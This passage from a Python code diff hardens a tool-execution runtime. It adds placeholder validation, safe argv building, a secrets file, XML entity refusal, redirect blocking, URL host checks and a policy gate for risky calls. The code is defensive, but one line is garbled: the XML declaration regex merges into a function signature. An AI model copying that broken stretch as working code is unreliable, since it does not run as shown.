{f"_{arg}_flags" for arg in cmd.mappings} + names.update(f"_{cond}" for cond in cmd.conditionals) + return names + + +def _check_placeholders(manifest: Manifest) -> None: + """Load-time check: every placeholder must name a known variable. + + Known names are declared args, ``[command.defaults]`` keys, + ``__flags`` for mapped args, ``_`` for declared conditionals, + and the injected ``_scan_id`` / ``_output_file`` / ``_evidence_dir``. + A multi-token variable must be a whole token: ``x{_flags}`` is rejected + because splicing a token vector into literal text would re-join it. + """ + single = _single_var_names(manifest) + trusted = _trusted_var_names(manifest) + + def scan(tokens: List[str], where: str) -> None: + for token in tokens: + sole = _sole_placeholder(token) + for name in _placeholder_names(token): + if name in trusted: + if sole != name: + raise ValueError( + f"placeholder '{{{name}}}' expands to multiple tokens and " + f"must be a whole token in {where}" + ) + continue + if name not in single: + raise ValueError(f"unresolved placeholder '{{{name}}}' in {where}") + + cmd = manifest.command + scan(cmd.exec, "command") + if cmd.template and cmd.exec_was_declared: + # exec takes precedence and the template is display-only, but it may + # still only reference declared names. + for name in _placeholder_names(cmd.template): + if name not in single and name not in trusted: + raise ValueError(f"unresolved placeholder '{{{name}}}' in command") + for cond_name, cond in cmd.conditionals.items(): + scan(cond.tokens, f"command (conditional '{cond_name}')") + + +def _check_mappings(manifest: Manifest) -> None: + """Load-time check: an enum's mapping table must cover every allowed value. + + A missing case would otherwise surface only when that value is used. An + author who wants "this value adds no flags" maps it to ``""``. + """ + for map_arg, table in manifest.command.mappings.items(): + arg_def = manifest.args.get(map_arg) + if arg_def is None or arg_def.type != "enum": + continue + missing = [str(v) for v in arg_def.allowed if str(v) not in table] + if missing: + raise ValueError( + f"[command.mappings.{map_arg}] is missing entries for enum values: " + + ", ".join(repr(v) for v in missing) + + ' (map a value to "" to mean no flags)' + ) + + +def compile_command(manifest: Manifest, *, warn: bool = True) -> None: + """Compile ``[command]`` to its canonical exec form and check it. + + Idempotent. When ``template`` is set and ``exec`` is empty, the template + is tokenized into ``exec`` (``exec_was_declared`` stays False so the + manifest remains in strict template mode). Every conditional template is + tokenized into ``ConditionalDef.tokens``. ``end_of_options``, every + placeholder, and enum mapping coverage are validated. + + Args: + manifest: The manifest to compile in place. + warn: Emit the template deprecation warning (once per load). + + Raises: + ValueError: On a malformed template, a bad ``end_of_options`` value, + or an unresolved placeholder. + """ + cmd = manifest.command + if cmd.end_of_options not in ("", "--"): + raise ValueError( + f'[command] end_of_options must be "--" when set, got {cmd.end_of_options!r}' + ) + if cmd.template and not cmd.exec: + cmd.exec = tokenize_template(cmd.template) + cmd.exec_was_declared = False + if warn: + warnings.warn(_TEMPLATE_DEPRECATION, DeprecationWarning, stacklevel=2) + sys.stderr.write(f"warning: {_TEMPLATE_DEPRECATION}\n") + for cond_name, cond in cmd.conditionals.items(): + try: + cond.tokens = tokenize_template(cond.template) + except ValueError as exc: + raise ValueError(f"[command.conditionals.{cond_name}] {exc}") from exc + _check_placeholders(manifest) + _check_mappings(manifest) + _check_argv0(manifest) + + +def _expand_tokens( + tokens: List[str], + single: Dict[str, str], + trusted: Dict[str, List[str]], + user_args: Set[str], +) -> List[Tuple[str, bool]]: + """Substitute one token list into argv pieces. + + A token that is exactly ``{name}`` naming a trusted multi-token variable + splices that variable's tokens. Any other token has every ``{name}`` + replaced textually inside that one token (``{{``/``}}`` become literal + braces) and is never split; a token that was exactly one placeholder + resolving to the empty string is dropped. + + Returns: + ``(argv_token, from_user_arg)`` pairs; ``from_user_arg`` is True for + a token produced from a sole placeholder naming a declared arg. + """ + out: List[Tuple[str, bool]] = [] + for token in tokens: + name = _sole_placeholder(token) + if name is not None: + if name in trusted: + out.extend((t, False) for t in trusted[name]) + continue + if name not in single: + raise ValueError(f"unresolved placeholder '{{{name}}}' in command") + value = single[name] + if value == "": + continue + out.append((value, name in user_args)) + continue + + def replace(m: re.Match) -> str: # type: ignore[type-arg] + text = m.group(0) + if text == "{{": + return "{" + if text == "}}": + return "}" + key = m.group(1) + if key in single: + return single[key] + if key in trusted: + raise ValueError( + f"placeholder '{{{key}}}' expands to multiple tokens and " + "must be a whole token in command" + ) + raise ValueError(f"unresolved placeholder '{{{key}}}' in command") + + out.append((_PLACEHOLDER_RE.sub(replace, token), False)) + return out + + +def _check_declared_args(manifest: Manifest, args: Dict[str, str]) -> None: + """Refuse a supplied argument name that ``[args]`` does not declare. + + An undeclared name never reaches the command, but dropping it silently + hides the gap between what the caller asked for and what ran. + """ + unknown = sorted(name for name in args if name not in manifest.args) + if not unknown: + return + declared = ", ".join(a.name for a in manifest.args_sorted) or "none" + raise ValidationError( + "; ".join( + f"unknown argument '{name}' (declared arguments: {declared})" + for name in unknown + ) + ) + +def _validate_call_args( + manifest: Manifest, args: Dict[str, str], exec_mode: bool +) -> Tuple[Dict[str, str], Set[str]]: + """Validate every declared argument for one call, on every backend. + + A supplied value and a manifest default both go through the full rule + set, scope included (the scope file is discovered once per manifest). + Returns ``(values, absent)`` where ``absent`` names the optional + arguments that were neither supplied nor defaulted. + """ + _check_declared_args(manifest, args) + scope = manifest_scope(manifest) + custom = manifest.custom_types + values: Dict[str, str] = {} + absent: Set[str] = set() for arg_name, arg_def in manifest.args.items(): if arg_name in args: - resolved[arg_name] = validate_arg(arg_def, args[arg_name]) + values[arg_name] = validate_arg_with_custom_types_mode( + arg_def, args[arg_name], custom, exec_mode, scope + ) elif arg_def.default is not None: - resolved[arg_name] = str(arg_def.default) - elif arg_def.required: - raise ValidationError( - f"Missing required argument: '{arg_name}'" + values[arg_name] = validate_arg_with_custom_types_mode( + arg_def, _default_text(arg_def.default), custom, exec_mode, scope ) + elif arg_def.required: + raise ValidationError(f"Missing required argument: '{arg_name}'") else: - resolved[arg_name] = "" + absent.add(arg_name) + return values, absent - for key, val in manifest.command.defaults.items(): - if key not in resolved: - resolved[key] = str(val) - scan_id = _generate_scan_id() - evidence_dir = os.environ.get("TOOLCLAD_EVIDENCE_DIR", os.path.join(tempfile.gettempdir(), "toolclad-evidence")) +def _resolve_context( + manifest: Manifest, + args: Dict[str, str], + scan_id: Optional[str] = None, + on_validated: Optional[Callable[[Dict[str, str]], None]] = None, +) -> Tuple[Dict[str, str], Dict[str, List[str]]]: + """Validate arguments and build the two substitution maps. - output_dir = evidence_dir - if manifest.tool.evidence.output_dir: - output_dir = manifest.tool.evidence.output_dir.format( - evidence_dir=evidence_dir, scan_id=scan_id - ) + Returns: + ``(single, trusted)``: single-token variables (validated args, + ``[command.defaults]``, injected executor variables) and trusted + multi-token variables (``__flags`` from mappings, ``_`` + from conditionals), each already split into argv tokens. + """ + single, absent = _validate_call_args( + manifest, args, manifest.command.exec_was_declared + ) + if on_validated is not None: + on_validated(dict(single)) + for arg_name in absent: + single[arg_name] = "" - ext_map = {"xml": "xml", "json": "json", "csv": "csv", "text": "txt", "jsonl": "jsonl"} - out_format = manifest.output.format if manifest.output else "text" - ext = ext_map.get(out_format, "txt") - output_file = os.path.join(output_dir, f"scan.{ext}") + for key, val in manifest.command.defaults.items(): + if key not in single: + single[key] = str(val) + + if scan_id is None: + scan_id = _generate_scan_id() + evidence_dir = _evidence_root() + output_file = _output_file(manifest, _output_dir(manifest, evidence_dir, scan_id)) - resolved["_scan_id"] = scan_id - resolved["_evidence_dir"] = evidence_dir - resolved["_output_file"] = output_file + single["_scan_id"] = scan_id + single["_evidence_dir"] = evidence_dir + single["_output_file"] = output_file + # Mapping values come from the manifest, so splitting them is safe. A + # present value with no table entry is an error (never an empty splice); + # an absent optional argument contributes nothing. + trusted: Dict[str, List[str]] = {} for map_arg, mapping_table in manifest.command.mappings.items(): - arg_value = resolved.get(map_arg, "") - mapped = mapping_table.get(arg_value, "") - resolved[f"_{map_arg}_flags"] = mapped - resolved["_scan_flags"] = mapped + if map_arg in absent or map_arg not in single: + trusted[f"_{map_arg}_flags"] = [] + continue + arg_value = single[map_arg] + if arg_value not in mapping_table: + raise ValidationError( + f"no mapping for argument '{map_arg}' value '{arg_value}' " + f"in [command.mappings.{map_arg}]" + ) + trusted[f"_{map_arg}_flags"] = tokenize_template(str(mapping_table[arg_value])) + user_args = set(manifest.args) for cond_name, cond_def in manifest.command.conditionals.items(): - if _evaluate_condition(cond_def.when, resolved): - fragment = cond_def.template - fragment = _interpolate(fragment, resolved) - resolved[f"_{cond_name}"] = fragment + if _evaluate_condition(cond_def.when, single): + expanded = _expand_tokens(cond_def.tokens, single, trusted, user_args) + trusted[f"_{cond_name}"] = [t for t, _ in expanded] else: - resolved[f"_{cond_name}"] = "" + trusted[f"_{cond_name}"] = [] - return resolved + return single, trusted -def build_command_argv(manifest: Manifest, args: Dict[str, str]) -> list: - """Build an argv list from the manifest's exec array and validated arguments. +def build_command_argv( + manifest: Manifest, args: Dict[str, str], *, scan_id: Optional[str] = None +) -> List[str]: + """Build the argv list from a manifest and raw argument values. - Each element in exec is interpolated independently, preserving argument - boundaries. This avoids the template->string->split round-trip that breaks - when argument values contain spaces or quote characters. + See :func:`_build_argv`; this public form consults no policy gate. + """ + return _build_argv(manifest, args, scan_id=scan_id) + + +def _build_argv( + manifest: Manifest, + args: Dict[str, str], + *, + scan_id: Optional[str] = None, + on_validated: Optional[Callable[[Dict[str, str]], None]] = None, +) -> List[str]: + """Build the argv list from a manifest and raw argument values. + + The manifest is compiled to its exec form if needed, every argument is + validated, and each exec token is substituted independently so argument + boundaries are preserved: a value is always exactly one argv element. + When ``end_of_options = "--"`` is set, a literal ``--`` is inserted once, + immediately before the first argv element produced from a top-level exec + token that was solely a declared-arg placeholder. Args: manifest: The parsed manifest. args: Mapping of argument name to raw string value. + scan_id: The scan id behind ``{_scan_id}`` and ``{_output_file}``; + a fresh one is generated when omitted. Returns: A list of strings ready for subprocess execution. Raises: - ValidationError: If a required argument is missing or validation fails. - ValueError: If the manifest has no exec array. + ValidationError: If a required argument is missing, validation fails, + or a mapped argument's value has no entry in its mapping table. + ValueError: If the manifest uses a custom executor, has no command, + or references an unresolved placeholder. """ + if manifest.command.executor: + raise ValueError( + f"Manifest '{manifest.tool.name}' uses a custom executor " + f"({manifest.command.executor}); cannot build a template command." + ) + + compile_command(manifest, warn=False) if not manifest.command.exec: raise ValueError( - f"Manifest '{manifest.tool.name}' has no exec array." + f"Manifest '{manifest.tool.name}' has no exec array or command template." ) - resolved = _resolve_vars(manifest, args) + single, trusted = _resolve_context(manifest, args, scan_id, on_validated) + expanded = _expand_tokens(manifest.command.exec, single, trusted, set(manifest.args)) - argv = [_interpolate(element, resolved) for element in manifest.command.exec] + argv: List[str] = [] + insert_end_of_options = manifest.command.end_of_options == "--" + for token, from_user_arg in expanded: + if insert_end_of_options and from_user_arg: + argv.append("--") + insert_end_of_options = False + argv.append(token) if not argv or not argv[0]: raise ValueError("exec array produced empty argv") @@ -154,37 +870,16 @@ def build_command_argv(manifest: Manifest, args: Dict[str, str]) -> list: def build_command(manifest: Manifest, args: Dict[str, str]) -> str: - """Build the final command string from a manifest template and validated arguments. - - This resolves argument values, applies defaults, expands mappings and - conditionals, and performs template interpolation. - - For new manifests, prefer build_command_argv with the exec array format. + """Build the command as a display string. - Args: - manifest: The parsed manifest. - args: Mapping of argument name to raw string value. - - Returns: - The fully interpolated command string. + This is ``build_command_argv`` rendered with ``shlex.join``; it exists for + envelopes and dry-run output. Nothing is ever executed from this string. Raises: ValidationError: If a required argument is missing or validation fails. - ValueError: If the manifest uses an executor (not a template). + ValueError: If the manifest uses a custom executor or has no command. """ - if manifest.command.executor: - raise ValueError( - f"Manifest '{manifest.tool.name}' uses a custom executor " - f"({manifest.command.executor}); cannot build a template command." - ) - - resolved = _resolve_vars(manifest, args) - - command = _interpolate(manifest.command.template, resolved) - - # Collapse multiple spaces into one and strip. - command = re.sub(r"\s+", " ", command).strip() - return command + return shlex.join(build_command_argv(manifest, args)) def _interpolate(template: str, values: Dict[str, str]) -> str: @@ -208,15 +903,70 @@ def _hash_file(path: str, algorithm: str = "sha256") -> str: return "" -def inject_template_vars(template: str) -> str: - """Replace {_secret:name} with TOOLCLAD_SECRET_{NAME} env var.""" +def load_secrets_file() -> Dict[str, str]: + """Read the TOML file named by ``TOOLCLAD_SECRETS_FILE``, if set. + + Top-level ``name = "value"`` pairs; names are matched case-insensitively. + The file is refused when it is readable by group or others, which is what + makes it a better home for a secret than an environment variable. + + Returns: + A mapping of lowercased name to value; empty when the variable is unset. + + Raises: + RuntimeError: On a group/other-readable file, an unreadable or + malformed file, or a non-string value. + """ + path = os.environ.get("TOOLCLAD_SECRETS_FILE") + if not path: + return {} + from toolclad.manifest import tomllib + + try: + with open(path, "rb") as f: + mode = stat.S_IMODE(os.fstat(f.fileno()).st_mode) + if mode & 0o077: + raise RuntimeError( + f"TOOLCLAD_SECRETS_FILE '{path}' is readable by group or others " + f"(mode {mode:04o}); chmod 600 it" + ) + data = tomllib.load(f) + except OSError as exc: + raise RuntimeError(f"cannot read TOOLCLAD_SECRETS_FILE '{path}': {exc}") from exc + except tomllib.TOMLDecodeError as exc: + raise RuntimeError(f"TOOLCLAD_SECRETS_FILE '{path}' is not valid TOML: {exc}") from exc + out: Dict[str, str] = {} + for name, value in data.items(): + if not isinstance(value, str): + raise RuntimeError( + f"TOOLCLAD_SECRETS_FILE '{path}': secret '{name}' must be a string" + ) + out[name.lower()] = value + return out + + +def inject_template_vars(template: str, secrets_map: Optional[Dict[str, str]] = None) -> str: + """Replace ``{_secret:name}`` with its value. + + The value comes from ``secrets_map`` (the loaded ``TOOLCLAD_SECRETS_FILE``, + which wins) or else the ``TOOLCLAD_SECRET_`` environment variable. + When ``secrets_map`` is None the file is read here; callers expanding + several templates load it once with :func:`load_secrets_file` and pass it. + A missing secret is an error. + """ + if secrets_map is None: + secrets_map = load_secrets_file() if "{_secret:" in template else {} def replacer(match: re.Match) -> str: # type: ignore[type-arg] name = match.group(1) + if name.lower() in secrets_map: + return secrets_map[name.lower()] env_key = f"TOOLCLAD_SECRET_{name.upper()}" val = os.environ.get(env_key) if val is None: - raise RuntimeError(f"Secret '{name}' not found (set {env_key})") + raise RuntimeError( + f"Secret '{name}' not found (set {env_key} or add it to TOOLCLAD_SECRETS_FILE)" + ) return val return re.sub(r"\{_secret:([a-zA-Z0-9_]+)\}", replacer, template) @@ -246,10 +996,27 @@ def _xml_element_to_dict(elem) -> dict: return result +XML_DECLARATION_REFUSAL = ( + "XML output contains a DOCTYPE or ENTITY declaration; refusing to parse" +) +_XML_DECL_RE = re.compile(r" dict: - """Parse XML string to a JSON-compatible dict.""" + """Parse XML string to a JSON-compatible dict. + + A DOCTYPE or ENTITY declaration anywhere in the input is refused before + ``ElementTree`` sees it: internal entities expand without limit there + (the "billion laughs" document), and tool output has no use for a DTD. + """ import xml.etree.ElementTree as ET - root = ET.fromstring(raw) + + if _XML_DECL_RE.search(raw): + raise OutputParseError(XML_DECLARATION_REFUSAL) + try: + root = ET.fromstring(raw) + except ET.ParseError as exc: + raise OutputParseError(f"XML parse failed: {exc}") from None return {root.tag: _xml_element_to_dict(root)} @@ -288,87 +1055,296 @@ def _parse_csv(raw: str) -> list: return rows -def _parse_output(manifest: Manifest, raw: str) -> dict: - """Parse raw output according to manifest output format/parser.""" +class OutputParseError(RuntimeError): + """The declared parser could not parse the tool's output.""" + + +def _parse_output(manifest: Manifest, raw: str) -> Dict[str, Any]: + """Parse raw output with the declared builtin parser and normalize it. + + The result is always a JSON object so one schema shape fits every + runtime: ``builtin:jsonl`` and ``builtin:csv`` give + ``{"parsed_output": [...]}``, ``builtin:text`` gives + ``{"raw_output": "..."}``, ``builtin:json`` passes an object through + and wraps anything else as ``{"parsed_output": ...}``. + + Raises: + OutputParseError: When the output does not parse. + """ if manifest.output is None: return {"raw_output": raw} parser = manifest.output.parser or f"builtin:{manifest.output.format}" if parser == "builtin:json": try: - return json.loads(raw) + value = json.loads(raw) except json.JSONDecodeError as e: - raise RuntimeError(f"JSON parse failed: {e}") + raise OutputParseError(f"JSON parse failed: {e}") from None + return value if isinstance(value, dict) else {"parsed_output": value} - elif parser == "builtin:jsonl": - lines = [l for l in raw.strip().splitlines() if l.strip()] + if parser == "builtin:jsonl": + lines = [line for line in raw.strip().splitlines() if line.strip()] try: - return [json.loads(l) for l in lines] + return {"parsed_output": [json.loads(line) for line in lines]} except json.JSONDecodeError as e: - raise RuntimeError(f"JSONL parse failed: {e}") + raise OutputParseError(f"JSONL parse failed: {e}") from None - elif parser == "builtin:csv": - return _parse_csv(raw) - - elif parser == "builtin:xml": + if parser == "builtin:csv": try: - return _parse_xml_to_json(raw) - except Exception: - return {"raw_output": raw} + return {"parsed_output": _parse_csv(raw)} + except csv.Error as e: + raise OutputParseError(f"CSV parse failed: {e}") from None + + if parser == "builtin:xml": + return _parse_xml_to_json(raw) - else: # builtin:text or custom + if parser == "builtin:text": return {"raw_output": raw} + # The loader refuses any other parser; a manifest built in code is + # refused here rather than passed through unchecked. + raise OutputParseError(custom_parser_message(parser)) -def _validate_output_schema(manifest: Manifest, parsed: Any) -> None: - """Validate parsed output against manifest output schema, if jsonschema is available.""" - if manifest.output is None or not manifest.output.schema: - return + +def custom_parser_message(parser: str) -> str: + """The load error for a parser that is not one of the builtins.""" + return ( + "custom output parsers are not supported by the reference runtimes " + f'(parser = "{parser}")' + ) + + +_DEFAULT_SCHEMA: Dict[str, Any] = {"type": "object"} + + +def _apply_output(manifest: Manifest, envelope: Dict[str, Any], raw: str) -> None: + """Parse ``raw`` and check it against ``[output.schema]``, fail closed. + + On success ``results`` is the normalized parse. A parse failure sets + status ``parse_error`` and a schema failure ``schema_error``; either + way ``results`` carries the message and the raw output, never an + unchecked pass-through. ``exit_code`` and ``stderr`` are untouched. + """ try: - import jsonschema - jsonschema.validate(instance=parsed, schema=manifest.output.schema) - except ImportError: - pass # jsonschema not installed, skip validation - except jsonschema.ValidationError as e: - raise RuntimeError(f"Output schema validation failed: {e.message}") + parsed = _parse_output(manifest, raw) + except OutputParseError as exc: + envelope["status"] = "parse_error" + envelope["results"] = {"parse_error": str(exc), "raw_output": raw} + return + schema = (manifest.output.schema if manifest.output else None) or _DEFAULT_SCHEMA + error = schema_error(parsed, schema) + if error is not None: + envelope["status"] = "schema_error" + envelope["results"] = {"schema_error": error, "raw_output": raw} + return + envelope["results"] = parsed + + +def _max_bytes(manifest: Manifest) -> int: + return manifest.output.max_bytes if manifest.output else DEFAULT_MAX_BYTES + + +# --------------------------------------------------------------------------- +# Policy gate (W7) +# --------------------------------------------------------------------------- + +@dataclass(frozen=True) +class GateDecision: + """The policy gate's verdict: ``GateDecision.allow()`` or + ``GateDecision.deny(reason)``.""" + + allowed: bool + reason: str = "" + + @classmethod + def allow(cls) -> "GateDecision": + return cls(True) + + @classmethod + def deny(cls, reason: str) -> "GateDecision": + return cls(False, reason) + + +#: A gate sees the manifest and the *validated* argument values. +Gate = Callable[[Manifest, Dict[str, str]], GateDecision] + + +class PolicyDenied(PermissionError): + """Raised when the policy gate denies a call. Nothing ran.""" + + def __init__(self, reason: str) -> None: + self.reason = reason + super().__init__(f"policy gate denied: {reason}") -def _interpolate_http(template: str, args: Dict[str, str]) -> str: - """Interpolate arg placeholders then resolve secret references.""" - result = _interpolate(template, args) - return inject_template_vars(result) +# The gate is the seam where an embedding runtime enforces policy before +# anything runs. ``[tool.cedar]`` declares the resource and action for that +# runtime's Cedar evaluator; ToolClad does not evaluate Cedar policy itself, +# and wiring an evaluator into a gate is the embedder's job. +def default_gate(manifest: Manifest, args: Dict[str, str]) -> GateDecision: + """Deny ``human_approval = true`` and ``risk_tier`` high/critical.""" + if manifest.tool.human_approval is True: + return GateDecision.deny("manifest requires human approval (human_approval = true)") + tier = manifest.tool.risk_tier + if tier in ("high", "critical"): + return GateDecision.deny(f"risk_tier '{tier}' requires explicit approval") + return GateDecision.allow() + + +def approve_gate(manifest: Manifest, args: Dict[str, str]) -> GateDecision: + """Allow everything: the caller has approved the call out of band.""" + return GateDecision.allow() + + +def _consult_gate(gate: Gate, manifest: Manifest, values: Dict[str, str]) -> None: + decision = gate(manifest, dict(values)) + if not isinstance(decision, GateDecision): + raise TypeError("policy gate must return a GateDecision") + if not decision.allowed: + raise PolicyDenied(decision.reason) + + +def _interpolate_http( + template: str, args: Dict[str, str], secrets_map: Optional[Dict[str, str]] = None +) -> str: + """Resolve ``{_secret:…}`` on the manifest template, then interpolate args. + + Secrets are expanded first so an argument value can never introduce a + secret reference of its own: by the time arguments are substituted, + every ``{_secret:name}`` the manifest wrote has already been replaced + and nothing expands them again. A ``{_secret:…}`` arriving inside an + argument therefore stays literal. + """ + return _interpolate(inject_template_vars(template, secrets_map), args) + + +_HEADER_NAME_RE = re.compile(r"[!#$%&'*+\-.^_`|~0-9A-Za-z]+") +_URL_HOST_REFUSAL = "http.url may not interpolate into the scheme or host" + + +def check_http_url(manifest: Manifest) -> None: + """Load-time checks on ``[http]``. + + The scheme and host of ``http.url`` must be literal: the host is the + egress boundary and belongs to the manifest, never to an argument or a + secret. An IP-literal host gets the address policy (link-local and + metadata always refused; the non-public ranges too when any argument + declares ``block_internal``). Header names must be HTTP tokens. + + Raises: + ValueError: On any violation. + """ + http = manifest.http + if http is None: + return + url = http.url + scheme_end = url.find("://") + if scheme_end < 0 or "{" in url[:scheme_end]: + raise ValueError(_URL_HOST_REFUSAL) + rest = url[scheme_end + 3:] + authority = re.split(r"[/?#]", rest, maxsplit=1)[0] + if "{" in authority or "}" in authority: + raise ValueError(_URL_HOST_REFUSAL) + for name in http.headers: + if not _HEADER_NAME_RE.fullmatch(str(name)): + raise ValueError(f"[http.headers] name {name!r} is not a valid HTTP header name") + host = authority.rsplit("@", 1)[-1] + if host.startswith("["): + host = host[1:host.find("]")] if "]" in host else host + else: + host = host.rsplit(":", 1)[0] + from toolclad.hostpolicy import enforce_ip_policy, parse_canonical_ip + + ip = parse_canonical_ip(host) + if ip is not None: + block_internal = any(a.block_internal for a in manifest.args.values()) + try: + enforce_ip_policy("http.url", ip, block_internal) + except ValidationError as exc: + raise ValueError(str(exc)) from None + + +def _interpolate_url(template: str, args: Dict[str, str], secrets_map: Dict[str, str]) -> str: + """Build the request URL: manifest secrets first, then each argument + value percent-encoded with nothing left safe, so ``/ ? # % & =`` and + ``..`` in a value can never change the path or query structure.""" + encoded = {k: urllib.parse.quote(v, safe="") for k, v in args.items()} + return _interpolate(inject_template_vars(template, secrets_map), encoded) + + +class _NoRedirect(urllib.request.HTTPRedirectHandler): + """Never follow a redirect: an allowed host could otherwise send the + request on to an internal address with no check. Returning None makes + urllib surface the 3xx as an ``HTTPError``.""" + + def redirect_request(self, req, fp, code, msg, headers, newurl): # type: ignore[override] + return None + + +def _open_url(req: urllib.request.Request, timeout: float): + """Open ``req`` with an opener that does not follow redirects.""" + return urllib.request.build_opener(_NoRedirect).open(req, timeout=timeout) + + +def _read_capped(resp: Any, max_bytes: int) -> Tuple[str, bool]: + data = resp.read(max_bytes + 1) or b"" + truncated = len(data) > max_bytes + if truncated: + data = data[:max_bytes] + decoder = codecs.getincrementaldecoder("utf-8")(errors="replace") + return decoder.decode(data, final=not truncated), truncated def _execute_http( manifest: Manifest, args: Dict[str, str], *, + gate: Optional[Gate] = None, dry_run: bool = False, timeout: Optional[int] = None, ) -> Dict[str, Any]: """Execute an HTTP-based manifest using urllib.request (no extra deps).""" http = manifest.http assert http is not None + # The same validation as the oneshot path (strict mode): only validated + # values are ever interpolated into the URL, headers or body. + args, absent = _validate_call_args(manifest, args, False) + check_http_url(manifest) + if not dry_run: + _consult_gate(gate or default_gate, manifest, args) + for arg_name in absent: + args[arg_name] = "" scan_id = _generate_scan_id() effective_timeout = timeout or manifest.tool.timeout_seconds - # Interpolate URL, headers, and body with args + secrets. - url = _interpolate_http(http.url, args) - headers = {k: _interpolate_http(v, args) for k, v in http.headers.items()} + # Manifest secrets first, then args (see _interpolate_http): an + # argument can never carry a secret reference into the request. + # The secrets file is read once per call, not once per placeholder. + secrets_map = load_secrets_file() + url = _interpolate_url(http.url, args, secrets_map) + headers = {k: _interpolate_http(v, args, secrets_map) for k, v in http.headers.items()} + for name, value in headers.items(): + if not _HEADER_NAME_RE.fullmatch(str(name)): + raise ValueError(f"[http.headers] name {name!r} is not a valid HTTP header name") + if "\r" in value or "\n" in value: + raise ValueError(f"header '{name}' contains a CR or LF after interpolation") body: Optional[bytes] = None if http.body_template is not None: # JSON-escape values to prevent injection into JSON body escaped_args = {k: json.dumps(v)[1:-1] for k, v in args.items()} # strip quotes from json.dumps - body_str = _interpolate(http.body_template, escaped_args) - body_str = inject_template_vars(body_str) + body_str = _interpolate( + inject_template_vars(http.body_template, secrets_map), escaped_args + ) body = body_str.encode("utf-8") envelope: Dict[str, Any] = { "status": "success", "scan_id": scan_id, "tool": manifest.tool.name, - "command": f"{http.method} {url}", + # The declared form: placeholders and secret references intact, so + # no expanded secret reaches the agent or the evidence. + "command": f"{http.method} {http.url}", "duration_ms": 0, "timestamp": datetime.now(timezone.utc).isoformat(), "output_file": "", @@ -378,20 +1354,26 @@ def _execute_http( } if dry_run: + # The human-facing dry run shows the resolved request. + envelope["command"] = f"{http.method} {url}" envelope["status"] = "dry_run" return envelope + max_bytes = _max_bytes(manifest) + location: Optional[str] = None start = time.monotonic() try: req = urllib.request.Request( url, data=body, headers=headers, method=http.method ) - resp = urllib.request.urlopen(req, timeout=effective_timeout) + resp = _open_url(req, effective_timeout) status_code = resp.status - resp_body = resp.read().decode("utf-8", errors="replace") + resp_body, truncated = _read_capped(resp, max_bytes) except urllib.error.HTTPError as exc: status_code = exc.code - resp_body = exc.read().decode("utf-8", errors="replace") + resp_body, truncated = _read_capped(exc, max_bytes) + if 300 <= status_code < 400: + location = exc.headers.get("Location", "") if exc.headers else "" except Exception as exc: elapsed_ms = int((time.monotonic() - start) * 1000) envelope["duration_ms"] = elapsed_ms @@ -402,6 +1384,13 @@ def _execute_http( elapsed_ms = int((time.monotonic() - start) * 1000) envelope["duration_ms"] = elapsed_ms envelope["http_status"] = status_code + if truncated: + envelope["output_truncated"] = True + + if location is not None: + envelope["status"] = "redirect_blocked" + envelope["results"] = {"location": location, "raw_output": resp_body} + return envelope is_success = True if http.error_status and status_code in http.error_status: @@ -427,11 +1416,20 @@ def _execute_mcp_proxy( manifest: Manifest, args: Dict[str, str], *, + gate: Optional[Gate] = None, dry_run: bool = False, ) -> Dict[str, Any]: """Build a delegation envelope for an MCP proxy manifest.""" mcp = manifest.mcp assert mcp is not None + # Every argument is validated (scope included) and forwarded in its + # validated form. An undeclared name is refused, as on every other + # backend: the manifest, not the remote server, is the contract. + _check_declared_args(manifest, args) + validated, absent = _validate_call_args(manifest, args, False) + args = {k: v for k, v in validated.items() if k not in absent} + if not dry_run: + _consult_gate(gate or default_gate, manifest, args) scan_id = _generate_scan_id() @@ -467,30 +1465,63 @@ def _execute_mcp_proxy( return envelope +def _declared_command(manifest: Manifest) -> str: + """The command as declared: the exec array joined by single spaces, or + the legacy template string as written. Never the resolved argv, so + executor-injected paths and expanded values stay out of the envelope.""" + cmd = manifest.command + if cmd.exec_was_declared or not cmd.template: + return " ".join(cmd.exec) + return cmd.template + + +def _select_gate(gate: Optional[Gate], approve: bool) -> Gate: + if gate is not None and approve: + raise ValueError("pass either gate or approve=True, not both") + if approve: + return approve_gate + return gate or default_gate + + def execute( manifest: Manifest, args: Dict[str, str], *, + gate: Optional[Gate] = None, + approve: bool = False, dry_run: bool = False, timeout: Optional[int] = None, ) -> Dict[str, Any]: - """Validate arguments, build and run the command, and return an evidence envelope. + """Validate arguments, consult the policy gate, run, and return an + evidence envelope. Args: manifest: The parsed manifest. args: Mapping of argument name to raw string value. - dry_run: If True, build the command but do not execute it. + gate: A policy gate called with the manifest and the validated + argument values after validation and before anything runs. + ``None`` means :func:`default_gate`. + approve: Use the allow-all :func:`approve_gate`. Passing both + ``gate`` and ``approve=True`` is a ``ValueError``. + dry_run: If True, build the command but do not execute it. A dry + run is not gated: it is how an operator decides whether to + approve. timeout: Override for the manifest's timeout_seconds. Returns: An evidence envelope dict with status, scan_id, tool, command, duration_ms, timestamp, output_file, output_hash, and results. + + Raises: + PolicyDenied: When the gate denies the call; nothing ran. """ + selected = _select_gate(gate, approve) + # Dispatch to HTTP or MCP execution if applicable. if manifest.http is not None: - return _execute_http(manifest, args, dry_run=dry_run, timeout=timeout) + return _execute_http(manifest, args, gate=selected, dry_run=dry_run, timeout=timeout) if manifest.mcp is not None: - return _execute_mcp_proxy(manifest, args, dry_run=dry_run) + return _execute_mcp_proxy(manifest, args, gate=selected, dry_run=dry_run) if manifest.session is not None: raise RuntimeError( @@ -505,100 +1536,28 @@ def execute( # Handle custom executor escape hatch. if manifest.command.executor: - # Validate args manually since build_command() isn't called for executor mode - validated_args: Dict[str, str] = {} - for arg_name, arg_def in manifest.args.items(): - if arg_name in args: - validated_args[arg_name] = validate_arg(arg_def, args[arg_name]) - elif arg_def.default is not None: - validated_args[arg_name] = str(arg_def.default) - elif arg_def.required: - raise ValidationError(f"Missing required argument: '{arg_name}'") - - scan_id = _generate_scan_id() - effective_timeout = timeout or manifest.tool.timeout_seconds - - env = os.environ.copy() - for k, v in validated_args.items(): - env[f"TOOLCLAD_ARG_{k.upper()}"] = str(v) - env["TOOLCLAD_SCAN_ID"] = scan_id - env["TOOLCLAD_TOOL_NAME"] = manifest.tool.name - - envelope: Dict[str, Any] = { - "status": "success", - "scan_id": scan_id, - "tool": manifest.tool.name, - "command": f"{manifest.command.executor} (custom executor)", - "duration_ms": 0, - "timestamp": datetime.now(timezone.utc).isoformat(), - "output_file": "", - "output_hash": "", - "results": {}, - } - - if dry_run: - envelope["status"] = "dry_run" - return envelope - - start = time.monotonic() - proc = None - try: - proc = subprocess.Popen( - [manifest.command.executor], - env=env, - shell=False, - 